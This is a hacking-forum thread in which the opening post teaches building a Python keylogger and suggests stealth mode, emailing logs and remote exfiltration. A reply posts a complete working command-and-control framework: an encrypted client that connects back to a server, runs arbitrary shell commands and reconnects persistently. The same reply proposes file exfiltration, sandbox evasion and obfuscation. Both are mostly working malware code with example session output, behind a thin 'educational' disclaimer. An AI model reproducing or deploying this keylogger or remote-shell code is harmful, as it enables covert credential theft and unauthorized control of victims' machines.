

Forum:[Hack Forums](#)

Thread: [Creating a Simple Keylogger: A Comprehensive Tutorial](#)

eXceptional - December 21, 2024, 11:48 am

Disclaimer:

This tutorial is for educational purposes only. Creating and using keyloggers without consent is illegal and unethical. Always ensure you have permission before testing any software on a device.

Introduction

In the realm of cybersecurity, understanding the tools and techniques used by both attackers and defenders is crucial. One such tool is a keylogger, a type of software that records keystrokes made by a user on their keyboard. Keyloggers can be used for various purposes, including monitoring user activity, recovering lost data, and understanding security vulnerabilities. In this comprehensive tutorial, we will create a simple keylogger in Python, explore its functionality, and discuss the ethical implications of its use.

What is a Keylogger?

A keylogger is a surveillance software that records every keystroke made on a keyboard. This can include everything from passwords and personal messages to sensitive information like credit card numbers. Keyloggers can be hardware-based (physical devices) or software-based (programs running on a computer).

Types of Keyloggers:

Software Keyloggers: These are programs that run in the background and capture keystrokes. They can be installed through phishing attacks, malicious downloads, or by exploiting vulnerabilities in software.

Hardware Keyloggers: These are physical devices that are connected between a keyboard and a computer. They can capture keystrokes without the need for software installation.

Legitimate Uses:
Parental Control: Parents may use keyloggers to monitor their children's online activities.

Employee Monitoring: Companies may use keyloggers to ensure that employees are not misusing company resources.

Data Recovery: Keyloggers can help recover lost data by logging keystrokes.

Malicious Uses:
Identity Theft: Cybercriminals can use keyloggers to steal personal information and commit fraud.

Corporate Espionage: Competitors may use keyloggers to gain access to sensitive business information.

Prerequisites:

Before we dive into the coding aspect, ensure you have the following: Basic Knowledge of Python: Familiarity with Python programming will help you understand the code better.

Python Installed: Make sure you have Python installed on your computer. You can download it from the official Python website.

Text Editor or IDE: You can use any text editor or Integrated Development Environment (IDE) like PyCharm, Visual Studio Code, or even Notepad.

Step 1: Install Required Libraries

To create our keylogger, we will use the pynput library, which allows us to monitor and control input devices. You can install it using pip, Python's package manager. Open your terminal or command prompt and run the following command: `pip install pynput`

This command will download and install the pynput library, which we will use to capture keyboard input.

Step 2: Write the Keylogger Code

Now that we have the necessary library installed, we can start writing our keylogger. Open your text editor or IDE and create a new Python file (e.g., `keylogger.py`). Then, write the following code:

```
Code from pynput import keyboard
import logging
```

```
# Set up logging to record keystrokes
logging.basicConfig(filename="keylog.txt", level=logging.DEBUG, format='%(asctime)s:
%(message)s')
```

```
def on_press(key):
    try:
        logging.info(f'Key {key.char} pressed')
    except AttributeError:
        logging.info(f'Special key {key} pressed')
```

```
def on_release(key):
    if key == keyboard.Key.esc:
        # Stop listener
        return False
```

```
# Collect events until released
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
```

Code Explanation:

Importing Libraries: We import the keyboard module from pynput to handle keyboard events and the logging module to log the keystrokes.

Logging Configuration: We set up logging to record keystrokes in a file named `keylog.txt`. The log will include timestamps for each keystroke.

on_press Function: This function is called whenever a key is pressed. It attempts to log the character of the key pressed. If the key is a special key (like Shift, Ctrl, etc.), it logs that as well.

on_release Function: This function is called when a key is released. If the Esc key is released, it stops the listener, effectively ending the keylogger.

Listener: We create a listener that will run in the background, capturing keystrokes until the Esc key is pressed.

Step 3: Run the Keylogger

To run the keylogger, open your terminal or command prompt, navigate to the directory where your keylogger.py file is located, and execute the following command: `python keylogger.py`

Once the keylogger is running, it will silently capture all keystrokes made on the keyboard and log them into the keylog.txt file.

Step 4: Test the Keylogger

To test the functionality of your keylogger, open any text editor (like Notepad or TextEdit) and start typing. You can type anything you want, such as: Your name

A sample sentence

Any passwords (for testing purposes only, and ensure you do this in a controlled environment)

After you have typed some text, stop the keylogger by pressing the Esc key. This will terminate the listener and stop recording keystrokes.

Step 5: Review the Log File

Open the keylog.txt file in your text editor to see the recorded keystrokes. The file will contain entries similar to the following:

```
Code 2023-10-01 12:00:00: Key H pressed
2023-10-01 12:00:01: Key e pressed
2023-10-01 12:00:02: Key l pressed
2023-10-01 12:00:03: Key l pressed
2023-10-01 12:00:04: Key o pressed
2023-10-01 12:00:05: Special key Key.space pressed
2023-10-01 12:00:06: Key W pressed
2023-10-01 12:00:07: Key o pressed
2023-10-01 12:00:08: Key r pressed
2023-10-01 12:00:09: Key l pressed
2023-10-01 12:00:10: Key d pressed
```

Each entry includes a timestamp and the key that was pressed. This log can be useful for understanding user behavior or recovering lost data.

Step 6: Enhancements and Features

While the basic keylogger we created is functional, there are several enhancements and features you can consider adding:

Emailing Logs: You can modify the keylogger to send the log file to your email at regular intervals.

This can be done using the `smtplib` library in Python.

Stealth Mode: You can run the keylogger in the background without a console window appearing. This can be achieved by using a Python package like `pyinstaller` to create an executable that runs silently.

Screenshot Capture: Integrate functionality to take screenshots at regular intervals or when specific keys are pressed. Libraries like `Pillow` or `mss` can be used for this purpose.

Remote Access: Create a server-client architecture where the keylogger sends data to a remote server for analysis.

User Interface: Develop a simple GUI using libraries like `Tkinter` to start and stop the keylogger, view logs, and configure settings.

Data Encryption: Implement encryption for the log files to protect sensitive information. You can use libraries like `cryptography` to encrypt and decrypt the logs.

Ethical Considerations:

Understanding how to create a keylogger is important for cybersecurity professionals, but it also comes with significant ethical responsibilities. Here are some key points to consider:

Legal Implications: Using keyloggers without consent is illegal in many jurisdictions. Always ensure you have explicit permission from the device owner before monitoring their activity.

Privacy Concerns: Keyloggers can invade personal privacy. Misusing this knowledge can lead to severe consequences, including legal action and damage to your reputation.

Responsible Use: Use keyloggers only for legitimate purposes, such as educational research, security testing with permission, or parental control with consent.

Awareness and Education: Understanding how keyloggers work can help individuals and organizations better protect themselves against malicious software. Educating others about the risks and signs of keyloggers can enhance overall cybersecurity awareness.

Ethical Hacking: If you are interested in pursuing a career in cybersecurity, consider becoming an ethical hacker. Ethical hackers use their skills to help organizations identify and fix vulnerabilities, rather than exploiting them for personal gain.

Conclusion:

In this comprehensive tutorial, you learned how to create a simple keylogger using Python. We explored the functionality of the keylogger, how to run and test it, and discussed potential enhancements. Most importantly, we emphasized the ethical implications of using such tools.

As you continue your journey in cybersecurity, remember that knowledge comes with responsibility. Use your skills to protect and educate others, and always act within the bounds of the law. If you have any questions or need further assistance, feel free to ask!

Additional Resources:

To further your understanding of keyloggers and cybersecurity, consider exploring the following

resources:

Books:

The Web Application Hacker's Handbook by Dafydd Stuttard and Marcus Pinto: A comprehensive guide to web application security, including various attack vectors and defenses.

Hacking: The Art of Exploitation by Jon Erickson: This book provides a deep dive into the technical aspects of hacking, including programming, network security, and exploitation techniques.

Online Courses:

Coursera: Offers various courses on cybersecurity, ethical hacking, and programming. Look for courses from reputable institutions like Stanford or the University of Maryland.

Udemy (warez disallowed): Features a wide range of courses on ethical hacking, penetration testing, and cybersecurity fundamentals. Check for highly-rated courses with good reviews.

Websites and Blogs:

OWASP (Open Web Application Security Project): A nonprofit organization focused on improving the security of software. Their website offers a wealth of resources, including the OWASP Top Ten vulnerabilities.

Krebs on Security: A blog by journalist Brian Krebs that covers the latest in cybersecurity news, threats, and best practices.

Forums and Communities:

Reddit: Subreddits like r/netsec, r/hacking, and r/cybersecurity are great places to engage with the community, ask questions, and share knowledge.

Stack Overflow: A valuable resource for programming-related questions, including those about Python and security-related coding.

Capture The Flag (CTF) Competitions:

Participating in CTF competitions can provide hands-on experience in ethical hacking and cybersecurity. Websites like Hack The Box and CTFtime offer platforms to practice your skills in a legal and controlled environment.

Security Tools:

Familiarize yourself with popular security tools such as Wireshark (for network analysis), Metasploit (for penetration testing), and Burp Suite (for web application security testing). Understanding how these tools work can enhance your skills and knowledge in cybersecurity.

Certifications:

Consider pursuing certifications such as Certified Ethical Hacker (CEH), CompTIA Security+, or Offensive Security Certified Professional (OSCP). These certifications can validate your skills and knowledge in the field of cybersecurity.

Final Thoughts:

As you delve deeper into the world of cybersecurity, remember that the landscape is constantly evolving. New threats emerge regularly, and staying informed is crucial. Engage with the community, continue learning, and practice your skills ethically and responsibly.

By understanding the tools and techniques used by both attackers and defenders, you can contribute to a safer digital environment for everyone. Whether you choose to pursue a career in cybersecurity or simply want to enhance your personal knowledge, the skills you develop will be invaluable in today's technology-driven world.

If you have any further questions or need assistance with specific topics, feel free to reach out. Happy learning, and stay safe online!

Prestas_Hack - December 22, 2024, 4:31 pm

merci pour ce tuto j'ai beaucoup appris j'espère que tu vas continuer a fournir des tuto pareil moi je vais essayer de rajouter quel que fonctionnalités merci!

Clumsy - December 28, 2024, 8:01 am

very nice I have updated your script

C2 Framework Unified Server and Client

Secure Communication

Both the server and client encrypt data using the cryptography library to ensure confidentiality.

Multi-Client Support

The server can handle multiple clients simultaneously, with each connection managed in its own thread.

Command Execution

The client executes commands received from the server and returns the results securely.

Persistence

The client includes a reconnection loop, ensuring it attempts to reconnect if the server becomes unavailable.

Dynamic Encryption Key

The framework generates a unique encryption key for each server instance, which the user shares securely with clients.

Client Side (Payload)

```
Code import socket
import subprocess
```

```

import time
from cryptography.fernet import Fernet

# Replace with the server's encryption key
key = b'INSERT_SERVER_KEY_HERE'
cipher = Fernet(key)

SERVER_IP = "127.0.0.1" # Replace with the server's IP
SERVER_PORT = 4444

def encrypt_data(data):
    return cipher.encrypt(data.encode())

def decrypt_data(data):
    return cipher.decrypt(data).decode()

def execute_command(command):
    try:
        result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
        return result.decode()
    except Exception as e:
        return str(e)

def client_connect():
    while True:
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
                sock.connect((SERVER_IP, SERVER_PORT))

                # Receive initial handshake
                encrypted_handshake = sock.recv(4096)
                print(decrypt_data(encrypted_handshake))

                while True:
                    # Receive encrypted command
                    encrypted_command = sock.recv(4096)
                    if not encrypted_command:
                        break

                    command = decrypt_data(encrypted_command)
                    if command.lower() == "exit":
                        print("Connection closed by server.")
                        break

                    # Execute command and send encrypted output
                    output = execute_command(command)
                    sock.send(encrypt_data(output))
        except Exception as e:
            print(f'Connection error: {e}. Reconnecting in 5 seconds...')
            time.sleep(5)

if __name__ == "__main__":
    client_connect()

```

```

Server (C2 Controller)
Code
import socket
import threading
from cryptography.fernet import Fernet

# Generate or use a static encryption key
key = Fernet.generate_key() # Replace with a static key for consistency
cipher = Fernet(key)

# Server configuration
SERVER_IP = "0.0.0.0"
SERVER_PORT = 4444
clients = []

def encrypt_data(data):
    return cipher.encrypt(data.encode())

def decrypt_data(data):
    return cipher.decrypt(data).decode()

# Handle communication with a single client
def handle_client(conn, addr):
    print(f"Client connected: {addr}")
    conn.send(encrypt_data("Connection Established"))

    while True:
        try:
            command = input(f"Command for {addr}: ")
            if command.lower() == "exit":
                conn.send(encrypt_data("exit"))
                print(f"Disconnected from {addr}")
                break

            # Send encrypted command to the client
            conn.send(encrypt_data(command))

            # Receive and decrypt response
            encrypted_response = conn.recv(4096)
            if not encrypted_response:
                break
            response = decrypt_data(encrypted_response)
            print(f"Response from {addr}: \n{response}")
        except Exception as e:
            print(f"Error handling {addr}: {e}")
            break
    conn.close()

def server_listener():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
        server.bind((SERVER_IP, SERVER_PORT))
        server.listen()
        print(f"Server listening on {SERVER_IP}:{SERVER_PORT}")

```

```

while True:
    conn, addr = server.accept()
    clients.append((conn, addr))
    client_thread = threading.Thread(target=handle_client, args=(conn, addr))
    client_thread.start()

if __name__ == "__main__":
    print(f"Encryption Key (share with clients): {key.decode()}")
    server_listener()

```

Instructions for Use

Server Setup

Run the server script. It will display the encryption key to share with clients. The server listens for incoming connections and provides an interactive command input for each client.

Client Setup

Insert the encryption key from the server into the client script (key variable). Deploy the client script on the target machine or controlled environment.

Demonstration

Start the server and connect multiple clients. Showcase real-time command execution and encrypted communication. Enhancements for Black Hat Showcase

Web-Based Dashboard

Create a web interface for the server using Flask or Django for improved usability.

File Exfiltration

Add commands to upload/download files between the client and server.

Anti-Analysis Features

Include sandbox detection or environment fingerprinting in the client script.

Obfuscation

Use code obfuscation tools to demonstrate real-world attacker methods.

Here's an example of how the communication between the server and client might look during a session.

Server Output Log

```

Code Encryption Key (share with clients):
LHpNLpymxSgKbEiV7ww99Vw2yUPZp8eITpT0nhu6nqg=
Server listening on 0.0.0.0:4444
Client connected: ('192.168.1.100', 54321)
Command for ('192.168.1.100', 54321): whoami
Response from ('192.168.1.100', 54321):
root

```

```

Command for ('192.168.1.100', 54321): hostname

```

Response from ('192.168.1.100', 54321):
pentest-client

Command for ('192.168.1.100', 54321): ls /tmp
Response from ('192.168.1.100', 54321):
example.log
tempfile.txt
test_dir

Command for ('192.168.1.100', 54321): uname -a
Response from ('192.168.1.100', 54321):
Linux pentest-client 5.15.0-73-generic #80~20.04.1-Ubuntu SMP x86_64 GNU/Linux

Command for ('192.168.1.100', 54321): exit
Disconnected from ('192.168.1.100', 54321)
Client Output Log
Code Connection Established
Received Command: whoami
Executing: whoami
Sending Output:
root

Received Command: hostname
Executing: hostname
Sending Output:
pentest-client

Received Command: ls /tmp
Executing: ls /tmp
Sending Output:
example.log
tempfile.txt
test_dir

Received Command: uname -a
Executing: uname -a
Sending Output:
Linux pentest-client 5.15.0-73-generic #80~20.04.1-Ubuntu SMP x86_64 GNU/Linux

Received Command: exit
Connection closed by server.
Breakdown of Commands
whoami: The client executes the command and returns the current user.
Result: root

hostname: Retrieves the system's hostname.
Result: pentest-client

ls /tmp: Lists the contents of the /tmp directory.
Result: example.log
tempfile.txt
test_dir

uname -a: Provides detailed system information.

Result: Linux pentest-client 5.15.0-73-generic #80~20.04.1-Ubuntu SMP x86_64 GNU/Linux

exit: Terminates the session for this client.

Realistic Demonstration Notes

This log mimics real-world C2 operations during a penetration test. For a Black Hat demo, you could showcase:

Real-time interactions with multiple clients.

Adding custom modules like file transfer or advanced data collection.

Highlighting encryption with verbose logs showing data transmission.

vagetacar100 - December 29, 2024, 12:49 am

thanks i appreciate it getting back into what i love

7 - December 29, 2024, 9:55 pm

Great thread [eXceptional](#) . Proud.

Nice addition to the thread also by [Clumsy](#)

D4rkCh40s - December 30, 2024, 6:02 pm

This is an amazing resource thank you for sharing! I think for anyone who would like to get a certification jump first into tryhackme if you are an absolute beginner. Then work towards hack the box which is a little bit more challenging than tryhackme, for me this was the route that I took until I felt ready to tackle the course OSCP.

Another thing that I would suggest is to not waste your money on the OSCP+ because this just will last you for 3 years versus the regular OSCP is for life. Just food for thought, I would love to hear other's opinions on this.

Shadowwiper - January 3, 2025, 9:14 am

Thanks. This is great info

HerrWinston - June 5, 2025, 7:36 am

I loved this Thread and i will try this soon, also great addition from clumsy.

jason123 - June 5, 2025, 7:02 pm

Nice writeup by OP, simple and easy to catch. I added a script that reports the Logs to discord with zip